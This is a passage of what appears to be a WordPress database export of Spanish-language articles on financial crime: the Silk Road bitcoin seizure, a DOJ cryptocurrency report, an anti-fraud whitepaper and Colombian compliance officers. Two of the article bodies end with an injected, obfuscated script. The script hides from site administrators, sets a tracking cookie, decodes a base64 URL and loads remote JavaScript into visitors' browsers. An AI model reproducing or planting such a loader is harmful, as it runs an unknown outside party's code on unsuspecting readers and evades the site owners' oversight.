se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., 